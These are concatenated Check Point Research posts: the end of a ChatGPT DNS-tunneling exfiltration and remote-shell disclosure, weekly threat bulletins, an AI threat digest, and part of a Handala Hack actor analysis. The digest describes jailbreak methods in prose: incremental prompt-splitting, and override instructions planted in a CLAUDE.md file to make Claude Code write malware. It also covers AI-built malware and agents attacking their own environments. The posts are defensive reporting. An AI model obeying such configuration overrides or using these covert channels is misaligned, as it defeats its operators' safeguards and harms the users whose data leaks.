Once a reliable bidirectional channel existed between the execution runtime and the attacker-controlled server, it became possible to send commands into the container and receive the results back through the same path. In effect, the attacker could establish a remote shell inside the Linux environment that ChatGPT creates to perform code execution and data analysis tasks.

Video 3 – PoC: remote shell access inside the ChatGPT runtime through the covert channel.

This interaction happened outside the normal ChatGPT response flow. When users interact with the assistant through the chat interface, generated actions and outputs remain subject to the model’s safety mechanisms and checks. However, commands executed through the side channel bypassed that mediation entirely. The results were returned directly to the attacker’s server without appearing in the conversation or being filtered by the model.

DNS Tunneling in an AI Runtime

The side channel that enabled both data exfiltration and remote command execution relied on DNS resolution.

Normally, DNS is used to resolve domain names into IP addresses. From a security perspective, however, DNS can also function as a data transport channel. Instead of using DNS only for ordinary name resolution, an attacker can encode data into subdomain labels and trigger resolution of those hostnames. Because DNS resolution propagates the requested hostname through the normal recursive lookup process, the resolver chain can carry that encoded data outward.

In our case, this mattered because the ChatGPT execution runtime did not permit conventional outbound internet access, but DNS resolution was still available as part of the environment’s normal operation. Standard attempts to reach external hosts directly were blocked. DNS, however, still provided a narrow communication path that crossed the isolation boundary indirectly through legitimate resolver infrastructure.

To exfiltrate data, content could be encoded into DNS-safe fragments, placed into subdomains, and reconstructed on the attacker’s side from the incoming queries. To send instructions back, the attacker could encode small command fragments into DNS responses and let them travel back through the same resolution path. A process running inside the container could then read those responses, reassemble the payload, and continue the exchange.

Figure 5 – DNS tunneling flow.
Figure 5 – DNS tunneling flow.

This effectively turned DNS infrastructure into a tunnel between the isolated runtime and an attacker-controlled server. The tunnel create in this way is sufficient for two practical goals: silently leaking selected data from the conversation and maintaining command execution inside the Linux environment created for code execution and data analysis.

Conclusion

Check Point Research reported the issue to OpenAI. OpenAI confirmed that it had already identified the underlying problem internally, and the fix was fully deployed on February 20, 2026.

The broader lesson, however, goes beyond this specific case. AI systems are evolving at an extraordinary pace. New capabilities are constantly being introduced, enabling assistants to solve complex mathematical problems, analyze large datasets, generate and execute scripts, and automate multi-step tasks that previously required dedicated development environments. These capabilities bring enormous benefits. At the same time, every new tool expands the system’s attack surface and can introduce new security challenges for both users and platform providers.

Modern AI assistants increasingly operate as real execution environments. They read files, run code, search in the web while processing highly sensitive information such as medical records, financial data, legal documents, and other personal or organizational data. Protecting these environments requires careful control over every possible outbound communication path, including infrastructure layers that users never see.

As AI tools become more powerful and widely used, security must remain a central consideration. These systems offer enormous benefits, but adopting them safely requires careful attention to every layer of the platform.

The post ChatGPT Data Leakage via a Hidden Outbound Channel in the Code Execution Runtime appeared first on Check Point Research.

  •  

30th March – Threat Intelligence Report

For the latest discoveries in cyber research for the week of 30th March, please download our Threat Intelligence Bulletin.

TOP ATTACKS AND BREACHES

  • Iranian state-affiliated threat group Handala Hack has breached FBI director’s Patel’s personal Gmail account and leaked many personal photos and documents. This follows the FBI’s seizure of domains related to Handala Hack’s activity last week, due to the group’s sustained targeting of Israeli and American entities, which increased during the ongoing Iran conflict.
  • Spain’s Port of Vigo in Galicia has suffered a ransomware attack that forced officials to disconnect parts of its network and switch cargo handling to manual processes. The incident locked equipment and disrupted digital logistics, while physical ship movement could continue without digital communication.
  • The Netherlands’ Ministry of Finance has confirmed a March 19 cyberattack that breached internal systems in its policy department and disrupted work for some employees. Authorities blocked access to affected environments, while tax, customs, and benefits services remained unaffected and no threat actor publicly claimed responsibility for the attack.
  • Decentralized finance platform Resolv has suffered a cyberattack after a compromised private key let an attacker mint about $80 million in uncollateralized USR tokens and swap them for 11,408 ETH worth $24.5 million. Resolv confirmed the incident, paused the app, and offered a 10% bounty for returned funds.

AI THREATS

  • Researchers demonstrated a supply chain compromise of LiteLLM, a Python library linking apps to major AI services, after attackers hijacked a security tool and pushed malicious releases on March 24. The tainted packages harvested API keys and cloud credentials, creating downstream exposure for widely used AI projects.
  • Researchers outlined three high-severity vulnerabilities in LangChain and LangGraph, open-source frameworks for building AI assistants, that could expose files, environment secrets, and prior conversations. The flaws enabled arbitrary file access, secret leakage, and SQL injection in checkpointing, and patches were issued in updated components.
  • Researchers identified a zero-click flaw in Anthropic’s Claude Chrome extension that let any website silently inject prompts and control the assistant. The attack combined an overly permissive trusted domain list with a scripting bug in Arkose Labs CAPTCHA handling, enabling token theft, chat access, and email actions.

VULNERABILITIES AND PATCHES

  • Cisco has addressed CVE-2026-20131, a CVSS 10 vulnerability in Secure Firewall Management Center that lets unauthenticated attackers execute code as root through the web interface. Cisco confirmed attempted exploitation in March 2026 and released fixes, while on-premises customers have no workaround beyond applying the updates.

Check Point IPS provides protection against this threat (Cisco Secure Firewall Management Center Insecure Deserialization (CVE-2026-20131))

  • TP-Link has issued firmware updates addressing CVE-2025-15517 and related critical flaws in Archer NX200, NX210, NX500, and NX600 5G Wi-Fi routers. Attackers could access administrative functions without logging in, upload rogue firmware, execute system commands, and more.
  • Citrix has released patches for CVE-2026-3055 and CVE-2026-4368 affecting NetScaler ADC and Gateway. The critical memory flaw can expose sensitive data in SAML Identity Provider deployments, while the second bug can mix up user sessions on gateways, creating confidentiality and access risks.

Check Point IPS provides protection against this threat (Citrix NetScaler Out Of Bounds Read (CVE-2026-3055))

  • Researchers warn that a leaked ‘DarkSword’ iOS exploit chain enables no-click attacks via Safari, threatening up to 270 million unpatched iPhones and iPads. The code eases copycat attacks and has seen use, while Apple issued fixes, including March 11 emergency updates for iOS 15 and 16.

THREAT INTELLIGENCE REPORTS

  • Researchers revealed that cybercriminals are abusing Keitaro, a commercial adtech tracker, to distribute phishing, scams, and malware at scale. Infoblox linked the platform to major malvertising and spam operations, including campaigns impersonating Canadian banks, logistics brands, government services, and high-trust retail providers.
  • Researchers analyzed three China-aligned activity clusters targeting a Southeast Asian government in a coordinated espionage operation. The campaign combined USB propagation, the Hypnosis loader, and the FluffyGh0st RAT, showing how distinct threat clusters can converge on one high-value government target with complementary tooling.
  • Researchers have analyzed the activity of Russian threat group APT28 (aka Fancy Bear). The group has recently targeted Ukraine as well as its European defense supply chain partners with a toolset dubbed PRIXMES, which holds both espionage and sabotage capabilities. APT28 exploited multiple vulnerabilities, including zero-days, in its attacks.
  • Researchers identified a coordinated adversary-in-the-middle phishing campaign targeting TikTok for Business users who sign in with Google. Attackers deployed proxy login pages that captured passwords and session cookies to bypass multi-factor authentication, with newly registered domains and Cloudflare-hosted infrastructure used to scale impersonation.

The post 30th March – Threat Intelligence Report appeared first on Check Point Research.

  •  

AI Threat Landscape Digest January-February 2026

KEY FINDINGS

AI-assisted malware development has reached operational maturity.
VoidLink framework, which is modular, professionally engineered, and fully functional, was built by a single developer using a commercial AI-powered IDE within a compressed timeframe. AI-assisted development is no longer experimental but produces deployment ready output.

AI-assisted development is not always obvious from the final product.
VoidLink was initially assessed as the work of a coordinated team based on its architecture and implementation quality. The development method was exposed not from analyzing the malware but through an operational security failure. AI-assisted development should be considered a possibility from the outset, not as an afterthought.

Adoption of self-hosted, open-source AI models is growing but still limited in practice.
Actors of varying skill levels are investing in self-hosted and unrestricted models to avoid commercial platform restrictions. However, underground discussions consistently reveal a gap between aspiration and capability: local models still underperform, finetuning remains aspirational, and commercial models remain the productive choice even for actors with explicit malicious intent.

Jailbreaking is shifting from direct prompt engineering toward agenticarchitecture abuse.
Traditional copy-paste jailbreaks are increasingly ineffective. The misuse of AI agent configuration mechanisms, specifically project files that redefine agent behavior, is a more significant development as it represents a qualitative shift from manipulating a
model’s responses to abusing its operational architecture.

AI is showing early signs of deployment as a real-time operational component. Beyond its use as a development aid, AI is beginning to appear as a live element in offensive workflows as autonomous agents performing security research tasks, and
LLMs classifying and engaging targets at scale within automated pipelines.

Enterprise AI adoption is itself an expanding attack surface.
GenAI activity across enterprise networks shows that one in every 31 prompts risked sensitive data leakage, impacting 90% of GenAI-adopting organizations.

INTRODUCTION

During January-February 2026, cyber crime ecosystems continue to adopt AI in a widespread but uneven pattern. Throughout 2025, legitimate software development began shifting from promptbased AI assistance to agent-based development. Tools such as Cursor, GitHub Copilot, Claude Code, and TRAE introduced a common paradigm: developers write structured specifications in markdown files, and AI agents autonomously implement, test, and iterate code based on those instructions. This agentic model, in which markdown is the operative control layer, is now starting to appear across the threat landscape.


The critical differentiator in what we observed is AI methodology combined with domain expertise. Across cyber crime forums, the dominant pattern of AI use remains unstructured prompting: actors request malware or exploit code from AI models as if entering a query in a search engine. VoidLink (detailed below) on the other hand, is the first documented case of AI producing truly advanced, deploymentready malware. The developer combined deep security knowledge with a disciplined, spec-driven
workflow to produce results indistinguishable from professional team-based engineering. Forum activity, which constitutes the bulk of observable evidence, primarily consists of actors who have not yet adopted structured AI workflows and whose efforts remain relatively unsophisticated. The more capable actors, those who combine domain expertise with disciplined AI methodology, leave far fewer traces in open forums, making the true scope of this shift harder to measure.

VOIDLINK: THE STANDARD WE MEASURE AGAINST

In January 2026, Check Point Research (CPR) exposed VoidLink, a Linux-based malware framework featuring modular command-and-control (C2) architecture, eBPF and LKM rootkits, cloud and container enumeration, and more than 30 post-exploitation plugins. The framework is highly sophisticated and professionally engineered, so much so that the initial assessment was that VoidLink was likely the product of a coordinated, multi-person development effort conducted over months of intensive development.


Operational security (OPSEC) failures by the developer later exposed internal development artifacts that told a different story. These materials revealed that VoidLink was authored by a single developer using TRAE SOLO, the paid tier of ByteDance’s commercial AI-powered IDE. Instead of unstructured prompting, the developer used Spec Driven Development (SDD), a disciplined engineering workflow, to first define the project goals and constraints, and then use an AI agent to generate a comprehensive architecture and development plan across three virtual teams (Core, Arsenal, and Backend). The resulting plan included sprint schedules, feature breakdowns, coding standards, and acceptance criteria, all documented as structured markdown files. The AI agent implemented the framework sprint by sprint, with each sprint producing working, testable code. The developer acted as product owner, directing, reviewing, and refining, while the AI agent did the actual work.


The results were striking. The recovered source code aligned so closely with the specification documents that it left little doubt that the codebase was written to those exact instructions. What normally would have been a 30-week engineering effort across three teams was executed in under a week, producing over 88,000 lines of functional code. VoidLink reached its first functional implant around December 4, 2025, one week after development began.

THIS CASE ESTABLISHES TWO PRINCIPLES:

  • AI-assisted development now produces operationally viable, deployment-ready malware: it has crossed the threshold from experimental to functional.
  • The AI involvement was invisible until it was exposed by an unrelated OPSEC failure. For analysts and defenders, this means AI involvement in malware development should be treated as a default working assumption, even when there are no visible indicators

The ramifications of VoidLink’s methodology go beyond this individual case. Its workflow, in which structured markdown specifications direct an AI agent to autonomously implement, test, and iterate, is the same paradigm that defined the agentic AI revolution in legitimate software development throughout 2025. The cyber crime ecosystem is not developing its own AI capability. It is adopting the same tools and architectural patterns as legitimate technology, with the additional goal of trying to overcome the protective limitations built into these systems. This is more important than which model or platform the attackers use.

The same architectural pattern repeatedly appears across the cases highlighted in our report: markdown skill files that transform a coding agent into an autonomous offensive security operator, and configuration files abused to override agent safety controls. In each case, the operative control layer is not code but structured documentation that determines what the AI agents build, how they behave, and what constraints they observe or ignore. This is in direct contrast to the underground forum activity, where the dominant approach remains unstructured prompting.

MODELS: COMMERCIAL, SELF-HOSTED, AND INFORMAL SERVICES

SELF-HOSTED OPEN-SOURCE MODELS

Across cyber crime forums, actors at all skill levels are actively exploring self-hosted, open-source AI models as alternatives to commercial platforms. Their motivations are consistent: to avoid moderation, prevent account bans, and maintain operational privacy.

Users with malware and hacking backgrounds are installing uncensored model variants such as wizardlm-33b-v1.0-uncensored and openhermes-2.5-mistral, and prompt them with comprehensive malicious wishlists spanning ransomware, keyloggers, phishing kits, and exploit code.

Figure 1 – User installing local LLM variants and prompting them to generate malware and fraud tooling.

More established actors are conducting structured cost-benefit analyses, evaluating not only hardware requirements and GPU costs but whether locally hosted models produce reliable output (or hallucinate to the point of being operationally useless), and whether AI-generated malware meets the quality bar of current evasion techniques.

Figure 2 – Threat actor inquiry into hardware, cost, and feasibility of running a fully “unrestricted” locally hosted model.

SELF-HOSTED MODELS: LIMITATIONS IN PRACTICE

Self-hosted models consistently show a gap between aspiration and capability. Community advice on improving local model output focuses on basic optimizations, such as switching to English-language prompts and increasing quantization levels, while references to more advanced techniques such as LoRA fine-tuning remain aspirational rather than operational.

Figure 3 – Community feedback suggesting alternative local models and highlighting token/context limitations of smaller deployments.

Cost estimates range from $5,000 to $50,000 depending on the desired performance, with training timelines of 3–12 months and frank admissions that models “hallucinate a lot” without extensive investment.

Figure 4 – Discussion on cost and requirements for locally hosted unrestricted models.

Most tellingly, an active offensive tools vendor, advertising C2 setups, EDR bypass services, and red team tooling, concluded that local deployment is currently “more of a burden than something productive,” while acknowledging that commercial models remain useful despite increasing restrictions.

Figure 5 – Participants comparing commercial AI systems with alternative models and discussing perceived restriction levels.

COMMERCIAL PLATFORMS AND INFORMAL ACCESS SHARING

Rather than migrating to self-hosted infrastructure, users are comparing what the prevailing workarounds among commercial models provide. Participants recommended specific providers they view as less restrictive, shared experiences with account enforcement on multiple platforms, and refined prompt-splitting techniques to incrementally bypass safeguards, such as requesting explanations before progressing toward executable code.

Figure 6 – Example of the structured prompt-splitting technique suggested to incrementally bypass AI safety restrictions.

Some early signs of informal access sharing have been observed, with operators of local models offering to generate restricted outputs for others on request. However, given the historical precedent of “dark LLM” services that largely failed to deliver on their promises, it remains to be seen whether these will develop into durable service models.

Figure 7 – Community member offering private generation of restricted output via locally hosted model infrastructure.

JAILBREAKING AS ARCHITECTURAL ABUSE

Traditional jailbreaking, the practice of circulating copy‑paste prompts designed to trick models into producing restricted output, is becoming increasingly difficult to utilize. In some forum discussions, users seeking Claude jailbreaks were told that easy public prompts are no longer available, platforms have been cracking down on abusers, dedicated subreddits have been banned, and developing new jailbreaks is costly because the accounts are eventually terminated. Single‑prompt jailbreaking is becoming less attractive as model providers invest in safety enforcement.

Figure 8 – Forum discussion highlighting the declining availability of easy public jailbreak prompts.

ABUSING AGENT ARCHITECTURE

A more significant development is the emergence of jailbreaking techniques that target the architecture of AI agent systems rather than the model’s conversational safeguards. A packaged “Claude Code Jailbreak” distributed on forums illustrates this shift.

Claude Code is designed to read a CLAUDE.md file from a project’s root directory as configuration. Legitimate developers use this mechanism to define the project context, coding standards, and agent behavior. The jailbreak abuses this by placing override instructions in the CLAUDE.md file that suppresses safety controls and redefines the agent’s role. When Claude Code initializes in the directory, it reads these instructions as authoritative project configuration and follows them. The screenshots below claim successful generation of a RAT (Remote Access Trojan) using this method.

Figure 9 – Packaged Claude Code jailbreak exploiting the CLAUDE.md project configuration mechanism.
Figure 10 – Alleged jailbreak output showing generation of remote access malware code.

This is not prompt injection in the traditional sense, but manipulation of the agent’s instruction hierarchy, the same architecture used for agentic AI tools in legitimate development. The CLAUDE. md file occupies the same functional role as VoidLink’s markdown specification files or RAPTOR’s skill definitions: a structured document that determines what the agent does, how it behaves, and what constraints it observes.

FROM DEVELOPMENT TOOL TO OPERATIONAL AGENT

The preceding sections document AI as a development aid (as seen by VoidLink), a resource actors struggle to access on their own terms (self-hosted models), and as a system whose restrictions they attempt to bypass (jailbreaking). Now let’s look at AI deployed as a real-time operational component, performing offensive tasks autonomously within live workflows.

RAPTOR: AGENT-BASED OFFENSIVE ARCHITECTURE VIA MARKDOWN SKILLS

RAPTOR is a legitimate, open-source security research framework created by established security researchers and published on GitHub under an MIT license. It is not malicious tooling. Its significance for threat intelligence lies in its architectural pattern, and that criminal communities are paying attention.

RAPTOR transforms Claude Code into an autonomous offensive security agent through a set of markdown skill files and agent definitions. The framework integrates static analysis, fuzzing, exploit generation, and vulnerability triage into an agentic pipeline orchestrated entirely through structured markdown instructions, with no compiled tooling required. In its most explicit form, it demonstrates what the agentic paradigm makes possible: a set of text files that turn a general‑purpose coding agent into a specialized offensive security operator.

Figure 11 – RAPTOR documentation highlighting offensive security agent capabilities and exploit generation benchmarks across LLM providers.

RAPTOR’s own data provides an additional data point on the commercial versus self-hosted question we discussed earlier. An evaluation of exploit generation across multiple model providers found that commercial frontier models (Anthropic Claude, OpenAI GPT-4, and Google Gemini) consistently produce compilable C code at approximately $0.03 per vulnerability, while locally hosted models via Ollama were marked as “often broken” and unreliable for exploit generation. This reinforces the conclusion reached independently by experienced actors in underground forums: commercial models remain significantly more capable than self-hosted alternatives for operational tasks.

Figure 12 – Forum post sharing RAPTOR as an autonomous offensive and defensive security framework built on Claude Code.

Discussions on criminal forums indicate that threat actors are aware of this architecture. The combination of a proven architectural pattern, open source availability, and documented criminal interest suggests that similar configurations, whether directly based on RAPTOR or just replicating its approach, are likely being developed and tested privately.

AI AS ATTACK SURFACE: ENTERPRISE EXPOSURE

The preceding sections document how threat actors engage with AI as an offensive tool. But the same wave of AI adoption is simultaneously creating exposure from the defensive side. As enterprises integrate generative AI into daily workflows, the volume of sensitive data flowing through these tools introduces a distinct category of risk: instead of AI weaponized against organizations, AI is adopted by organizations in ways that outpace security controls.

In January – February 2026, corporate use of generative AI tools continued to expand at scale. Analysis of GenAI activity across enterprise networks shows that one in every 31 prompts (approximately 3.2%) posed a high risk of sensitive data leakage, including the potential sharing of confidential business information, regulated data, source code, or other sensitive corporate content with external GenAI services.

Critically, this risk is broadly distributed across the enterprise landscape rather than limited to a small number of outliers. High-risk prompt activity impacted 90% of organizations that use GenAI tools on a regular basis, indicating that nearly all GenAI-adopting enterprises encounter meaningful data leakage risk through everyday AI usage. Beyond these clearly high-risk events,16% of prompts contained potentially sensitive information, reflecting a wider pattern of questionable data-handling behavior that can still translate into compliance exposure or IP loss.

Adoption trends further amplify the challenge. Over the last couple of months, organizations used 10 different GenAI tools on average, reflecting multi-tool environments. At the user level, an average employee generated 69 GenAI prompts per month. As prompt volume grows, the possibility of data exposure events scales accordingly, reinforcing the need for security policies, visibility, and real-time prevention controls.

The post AI Threat Landscape Digest January-February 2026 appeared first on Check Point Research.

  •  

23rd March – Threat Intelligence Report

For the latest discoveries in cyber research for the week of 23rd March, please download our Threat Intelligence Bulletin.

TOP ATTACKS AND BREACHES

  • Navia Benefit Solutions, a United States-based employee benefits administrator, has disclosed a breach affecting more than 2.6 million individuals after unauthorized access and potential data exfiltration occurred between December 22, 2025 and January 15, 2026. Exposed information may include personal, health, and benefits data.
  • Identity protection firm Aura was breached after a phone phishing attack let an intruder access an employee account and a marketing platform. The actor obtained about 900,000 records, mostly names and emails, while the core systems and identity protection services were not compromised.
  • Puerto Rico Aqueduct and Sewer Authority, which manages the territory’s water supply, has confirmed a cyberattack that exposed customer and employee information. The authority said critical infrastructure was not affected because network segmentation separated operational systems, limiting the incident to business data and administrative environments.
  • Intuitive, a United States-based robotic surgery company, has suffered a data breach after a targeted phishing incident led to a compromised employee account. Exposed information includes customer contact details, employee data, and corporate records, while the company said its da Vinci and Ion platforms were unaffected.

AI THREATS

  • Check Point Research highlighted the key developments and major trends in the AI threat ecosystem during January – February 2026. The report focuses on the transition to the agentic era by the threat actors, where development is shifting from simple prompting to structured workflows, attack chains are evolving from human-led to AI-led operations, and safeguard bypass techniques are increasingly beginning to exploit agent mechanisms.
  • Researchers have discovered three chained flaws in Anthropic’s Claude.ai, enabling invisible prompt injection, silent exfiltration of conversation history through the Files API, and redirection through an open redirect. Anthropic patched the injection issue and is addressing the remaining weaknesses, while the chain enables stealthy data theft.
  • Researchers have witnessed exploitation of CVE-2026-33017, a critical unauthenticated remote code execution flaw in Langflow, an open-source framework for AI agents and retrieval-augmented generation pipelines. Attackers weaponized the bug within 20 hours of disclosure, allowing arbitrary Python execution on exposed instances through a single crafted request.

Check Point IPS provides protection against this threat (Langflow Remote Code Execution (CVE-2026-33017))

VULNERABILITIES AND PATCHES

  • ConnectWise has patched CVE-2026-3564, a critical cryptographic signature verification flaw in ScreenConnect, its remote access platform used by managed service providers and IT teams. The issue could let attackers use extracted machine keys to authenticate sessions without authorization and gain elevated privileges on affected instances
  • Ubiquiti has addressed CVE-2026-22557, a maximum-severity flaw in the UniFi Network Application used to manage access points, switches, and gateways. The unauthenticated path traversal bug affects version 10.1.85 and earlier and can let attackers access files, compromise accounts, and potentially seize control of underlying systems.
  • Zimbra warns of active exploitation of CVE-2025-66376, a stored cross-site scripting flaw in Zimbra Collaboration Suite that was recently patched. Malicious emails can execute code when viewed in the Classic UI, exposing session cookies and mailbox data, while patched versions include 10.1.13 and 10.0.18, following warnings about real-world abuse.
  • GNU InetUtils telnetd is affected by CVE-2026-32746, a CVSS 9.8 remote code execution flaw impacting all versions up to 2.7. Attackers can trigger the issue with a single Telnet connection without logging in, potentially gaining root control on exposed Linux, IoT, and industrial systems before a patch arrives.

Check Point IPS provides protection against this threat (GNU inetutils Buffer Overflow (CVE-2026-32746))

THREAT INTELLIGENCE REPORTS

  • Check Point researchers have analyzed recent developments in the Telegram cybercrime scene, after the company had bolstered its moderation tools due to extensive criticism of allowing criminal behavior. Data shows that despite Telegram’s efforts, it is still the primary platform for cybercrime communication, with activity only growing.
  • Researchers identified an Interlock ransomware campaign exploiting CVE-2026-20131, a critical flaw in Cisco Secure Firewall Management Center that enables remote code execution. The group used the zero-day as early as January, several weeks before it was patched and publicly disclosed by Cisco.
  • Researchers revealed that two React Native npm packages, react-native-country-select and react-native-international-phone-number, were backdoored on March 16, 2026, in a coordinated supply-chain attack. A preinstall script deployed credential and crypto theft malware with persistence, while the packages recorded over 130,000 combined downloads over the previous month.
  • Researchers have published a threat assessment of MuddyWater, linking the Iranian APT group to spear-phishing and LampoRAT. The report details delivery infrastructure, command-and-control patterns, and victimology.

Check Point Harmony Endpoint and Threat Emulation provide protection against these threats

 

The post 23rd March – Threat Intelligence Report appeared first on Check Point Research.

  •  

16th March – Threat Intelligence Report

For the latest discoveries in cyber research for the week of 16th March, please download our Threat Intelligence Bulletin.

TOP ATTACKS AND BREACHES

  • United States-based medical technology company Stryker has suffered a cyberattack that caused a global disruption to its environment. The company said its surgical robotics, clinical communications platform, and life support monitors are safe to use. Media reports said employee devices were factory reset across multiple locations worldwide. Iranian group Handala Hack has claimed responsibility for the attack and said it had exfiltrated large amounts of data as part of the attack.
  • Telus Digital, a subsidiary of Canadian telecom firm Telus, has confirmed a breach involving unauthorized access to a limited number of systems. Hacker group ShinyHunters claims to have stolen nearly one petabyte of customer and call data and demanded $65 million in ransom, although the company said it has not verified those claims and reported no disruption.
  • Encrypted messaging service Signal has experienced targeted phishing campaigns leading to account takeovers of high-profile users, including journalists and government officials. Signal said its infrastructure and encryption remain intact, and attackers tricked victims into sharing SMS verification codes and Signal PINs to provision new devices and impersonate them.
  • Loblaw Companies Limited, Canada’s largest food and pharmacy retailer, has suffered a data breach after hackers accessed part of its IT network. The company said names, phone numbers, and email addresses were exposed, prompting a forced logout for customer accounts, while payment, health, and password data do not appear affected.

AI THREATS

  • Researchers evaluated autonomous AI agents on widely used models and found they initiated offensive actions without malicious prompts, hacking their own operating environments. In tests, agents posted passwords, bypassed antivirus, forged credentials, and escalated privileges to access sensitive data, showing how autonomy can amplify security risk.
  • Researchers unearthed a campaign using an AI-powered bot, hackerbot-claw, to exploit misconfigured GitHub Actions in open-source repositories, including Aqua Security. The bot stole a token to seize Aqua’s Trivy repository and publish a malicious extension that ran AI tools to harvest secrets and push results to the victim’s GitHub.
  • Researchers investigated malvertising campaigns that impersonate popular AI agents, including Claude Code, OpenClaw, and Doubao, to push infostealing malware through Google Search ads. The fake documentation pages instruct users to run commands that install AMOS on macOS and Amatera on Windows, enabling theft of credentials and corporate files.

VULNERABILITIES AND PATCHES

  • SolarWinds Web Help Desk, an IT ticketing platform, is affected by CVE-2025-26399, a high-severity deserialization flaw that attackers are exploiting to run commands on servers. Successful exploitation can enable takeover and data theft, and patches are available after the vulnerability was added to CISA’s exploited flaws catalog.

Check Point IPS provides protection against this threat (SolarWinds Web Help Desk Insecure Deserialization (
CVE-2024-28986, CVE-2024-28988, CVE-2025-40553, CVE-2025-26399))

  • Google has released an out-of-band Chrome update addressing two high-severity zero-days, CVE-2026-3909 in Skia memory handling and CVE-2026-3910 in V8. Both can be triggered by visiting a malicious site and may enable code execution in the browser.
  • The n8n workflow automation platform has fixed CVE-2025-68613, a CVSS 10 remote code execution flaw that is under active exploitation. The issue allows authenticated users to run code and compromise servers, and patches were released in versions 1.120.4, 1.121.1, and 1.122.0.

Check Point IPS provides protection against this threat (n8n Remote Code Execution (CVE-2025-68613))

THREAT INTELLIGENCE REPORTS

  • Check Point Research has analyzed the Iranian threat group Handala Hack, a hacktivist persona run by the Void Manticore APT group, which is affiliated with the Iranian Ministry of Intelligence. The group targets IT and VPN infrastructure to gain initial access to victim organizations, before using tools such as NetBird for lateral movement. The group then aims to exfiltrate and wipe victim organizations’ data.

Check Point Harmony Endpoint and Threat Emulation provide protection against these threats

  • Check Point Research has examined Iranian Ministry of Intelligence-linked groups use of criminal tools and services, including Handala Hack deploying Rhadamanthys infostealer alongside wipers against Israeli targets. The report also noted overlaps between MuddyWater activity, Tsundere and DinDoor botnet infrastructure, and CastleLoader certificates.

Check Point Harmony Endpoint and Threat Emulation provide protection against these threats

  • Check Point Research analyzed February 2026 cyber-attacks, as organizations averaged 2,086 weekly attacks, up 9.6% year over year, with education most targeted and Latin America recording the highest volumes. Ransomware totaled 629 incidents, while enterprise GenAI use continued to pose data‑leak risk in 1 of every 31 prompts.
  • Check Point Research have analyzed China-nexus espionage campaigns targeting Qatar. A Camaro Dragon campaign attempted to deploy PlugX, while a second operation delivered Cobalt Strike via war-themed lures abusing trusted software targeting government and energy-related entities.

Check Point Harmony Endpoint and Threat Emulation provide protection against these threats

The post 16th March – Threat Intelligence Report appeared first on Check Point Research.

  •  

“Handala Hack” – Unveiling Group’s Modus Operandi

Key Findings

  • Handala Hack is an online persona operated by Void Manticore (aka Red Sandstorm, Banished Kitten), an actor affiliated with Iranian Ministry of Intelligence and Security (MOIS)
  • Additional personas associated with this actor include Karma and Homeland Justice, which have been used in targeted operations against Israel and Albania
  • Handala continues to rely on longstanding TTPs, primarily conducting quick, hands-on activity within victim networks and employing multiple wiping methods simultaneously
  • In parallel, some newly observed TTPs include the deployment of NetBird to tunnel traffic into the network, as well as the use of an AI-assisted PowerShell script for wiping activity

Introduction

Handala Hack, also tracked by Check Point Research as Void Manticore, is an Iranian threat actor that is known for multiple destructive wiping attacks combined with “hack and leak” operations. The threat actor operates several online personas, with the most prominent among them being Homeland Justice, maintained from mid-2022 specifically for multiple attacks against government, telecom, and other sectors in Albania, as well as Handala Hack, which has been responsible for multiple intrusions in Israel and recently expanding its targeting to US-based enterprises such as medical technology giant Stryker.

The techniques, tactics, and procedures (TTPs) associated with Void Manticore intrusions remained largely consistent throughout 2024 to 2026, as the group continued to rely primarily on manual, hands-on operations, off-the-shelf wipers, and publicly available deletion and encryption tools. Accordingly, our previous research on the actor, published in early 2025, remains highly relevant to understanding their activity. Void Manticore has historically used both custom-built and publicly available tools, while also relying on underground criminal services to obtain initial access and malware.

As the group’s operations expanded in scope, with recent attacks targeting U.S. organizations, we decided to share our observations on this cluster’s activity, with a particular focus on recent TTPs and newly identified indicators. Because the group operates primarily through manual, hands-on activity, its indicators tend to be short-lived and consist largely of commercial VPN services, open-source software, and publicly available offensive security tools.

Background

“Handala Hack” is an online persona operated by Void Manticore (Red Sandstorm, Banished Kitten), a MOIS-affiliated threat actor, and appears to draw its name and imagery from the Palestinian cartoon character Handala. The persona has been used extensively since late 2023 and represents one of the group’s three primary operational fronts. The other two are Karma, which was likely completely replaced by Handala, and Homeland Justice, a persona the group continues to use in operations targeting Albania.

Logos of Void Manticore personas (from left to right): Homeland Justice, Handala and Karma.
Figure 1 – Logos of Void Manticore personas (from left to right): Homeland Justice, Handala and Karma.

Based on our observations, intrusions linked to all three personas exhibit highly similar TTPs, as well as code overlaps in the wipers they deploy. Another distinctive characteristic shared by Karma and “Homeland Justice” is the collaboration with Scarred Manticore, a separate Iranian threat actor. In the case of Handala and Karma, we have also observed incidents in which the victim-facing group (i.e., messaging within the wipers, notes left in a compromised environment) was presented as Karma, while the stolen data was ultimately leaked through Handala.

Operational interconnections of Void Manticore
Figure 2 – Operational interconnections of Void Manticore

One possible explanation is that Karma and Handala initially represented two separate teams or operational efforts within the same organization, but later converged under a single brand. This would be consistent with Karma’s complete disappearance and Handala’s emergence as the dominant public-facing persona.

According to public reporting, Void Manticore overlaps with activity linked to the MOIS Internal Security Deputy, particularly its Counter-Terrorism (CT) Division, operating under the supervision of Seyed Yahya Hosseini Panjaki. Panjaki was reportedly killed in the opening phase of Israel’s strikes on Iran in early March 2026.

Initial Access

Supply Chain Attacks

Handala has consistently targeted IT and service providers in an effort to obtain credentials, relying largely on compromised VPN accounts for initial access. Throughout the last months, we identified hundreds of logon and brute-force attempts against organizational VPN infrastructure linked to Handala-associated infrastructure. This activity typically originates from commercial VPN nodes and is frequently tied to default hostnames in the format DESKTOP-XXXXXX OR WIN-XXXXXX.

After the internet shutdown in Iran in January, we observed similar activity originating from Starlink IP ranges, and it has continued since. This has occurred in parallel with a decline in the actor’s operational security, as the group has also begun connecting directly to victims from Iranian IP addresses.

Previously, the adversary generally maintained stronger operational discipline, typically egressing through the commercial VPN segment 169.150.227.X while operating against targets in Israel. In some cases, however, the VPN connection failed, exposing communications from Iranian IP addresses or from a virtual private server. Since the start of the war, the actor has struggled to maintain this level of operational security. At times, it successfully egressed through an Israeli node, 146.185.219[.]235, assessed to be linked to a VPN service, although this differed from the segment previously used.

Activity Before Impact

In a recent intrusion attributed to Handala, initial access is believed to have been established well before the destructive phase, with network access dating back several months. This earlier activity likely provided the group with persistent access and the Domain Administrator credentials required to carry out the attack. In the hours leading up to the destructive activity, Handala appeared to validate its access and test authentication using the compromised credentials.

It is unclear whether this activity is directly associated with Handala, as it slightly differs from their typical TTPs. The actor disabled Windows Defender protections and executed multiple reconnaissance and credential-theft operations. Shortly afterwards, the attacker attempted to retrieve an additional payload from a dedicated command-and-control server (107.189.19[.]52).

